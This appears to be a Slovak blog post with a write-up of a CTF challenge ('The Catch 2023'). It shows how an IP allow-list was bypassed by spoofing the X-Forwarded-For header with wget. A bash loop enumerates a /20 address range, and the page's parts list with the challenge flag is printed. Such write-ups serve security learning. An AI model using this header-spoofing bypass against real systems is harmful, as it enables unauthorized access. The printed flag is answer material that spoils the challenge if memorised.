21. 11. 2023

CTF - The Catch 2023 - Component Replacement

  Naša loď musela znížiť svoju rýchlosť, pretože sa jej pokazila súčiastka "zvyšovač efektivity paliva".  Pre objednanie správneho dielu potrebuje hlavný inžinier presný identifikačný kód dielu. Avšak niečo sa stalo a nemôže sa dostať na webový výpis použitých dielov. Pravdepodobne to súvisí s nedávnou zmenou sieťových adries v strojovni. Stará sieť bola pre celú loď 192.168.96.0/20. Nájdime číslo dielu. Stránka je dostupná na adrese: http://key-parts-list.cns-jv.tcc

Ako pomôcku dostávame radu prekonať IP filter.

Čo teraz? Pre-IPčkovať svoju domácu sieť som nechcel. Treba sa zamyslieť, ako obabrať identifikáciu IP...


 Pre počítače schované za proxy serverom, server doplní do hlavičky IP koncového počítača ako:

X-Forwarded-For: <client>, <proxy>
X-Forwarded-For: 103.0.113.165, 60.91.3.16

No v tomto prípade to takto nefungovalo, bolo potrebné použiť len jednu IPčku (client), aby som splnil podmienku filtra. Po doplnení ako parameter do wget dostaneme príkaz:

> wget --header "X-Forwarded-For: 192.168.96.200" http://key-parts-list.cns-jv.tcc
You are attempting to access from the IP address 192.168.96.200, which is not assigned to engine room. Access denied.

Takto je to už lepšie, avšak musíme pohľadať starú IP zo strojovne (z menšieho pod-rozsahu adries). Najjednoduchšie (a trochu pomalé) je nechať cyklus prejsť všetky adresy a zahlásiť ak sa zdrojový kód stránky zmení.
Pre rozsah 192.168.96.0/20 nájdem koncovú adresu. Pri 20 bitoch masky máme horné 4 bity v 3ťom bajte pevné, teda 64+32 nastavené, k tomu pripočítať maximálne 15 za spodné 4 bity: 96+15=111. Rozsah teda je 192.168.96.0 - 192.168.111.255

for x in {96..111}; do
 echo $x
  for y in {0..255}; do
  #   echo "192.168.$x.$y"
   wget --header "X-Forwarded-For: 192.168.$x.$y" http://key-parts-list.cns-jv.tcc -O index.html >/dev/null 2>&1
   if [ ! "`grep not\ assigned index.html`" ]; then
    echo "192.168.$x.$y"
   fi
 done
done

96
97
98
99
100
192.168.100.32
192.168.100.33
192.168.100.34
...
192.168.100.61
192.168.100.62
192.168.100.63
101
102

Vidím, že IP z rozsahu 192.168.100.32 až .63 dostane inú odpoveď. Stiahnem si teda obsah:

> wget --header "X-Forwarded-For: 192.168.100.32" http://key-parts-list.cns-jv.tcc
Spare part;Identification code;In duty
Bubler;PART{SNIg-NYW1-0eSq-vMqO};8
Camshaft;PART{BAym-Fxee-llBO-wRSz};4
Connecting rod;PART{k76T-boGS-Z2s9-BrGa};22
Continuity converter;PART{63Ph-aHXa-MOOf-yzam};4
Crankshaft;PART{ScTp-kzE4-fNed-F9AZ};4
Cylinder head;PART{sHL3-l6pw-sQuw-XVcq};96
Flywheel;PART{Fg4G-UcHw-BKaz-8ozB};12
Fuel efficiency enhancer;FLAG{MN9o-V8Py-mSZV-JkRz};0
Fuel lines;PART{NJu2-Dy2b-001D-dEyn};112
Fuel pump;PART{ymm0-I0FQ-jZ6t-FIZq};8
Rotation accelerator;PART{ZJSD-AdYM-yh3e-pOa0};4
Turbocharger;PART{iHqc-3Od4-1Yuq-jtX0};12
Piston;PART{Bxlj-Ud2U-zNfm-3XGQ};96
Plasma rectifier;PART{pxZ5-QJUJ-dzkr-I5Yt};1
Plunger pump;PART{3C1U-ghSo-euI0-wLi0};4
Self-locking fuel tank;PART{wLyo-Odc9-38IP-zfmT};12
Valve;PART{erre-BopV-7Lrw-xepu};64

Žiadne komentáre:

Zverejnenie komentára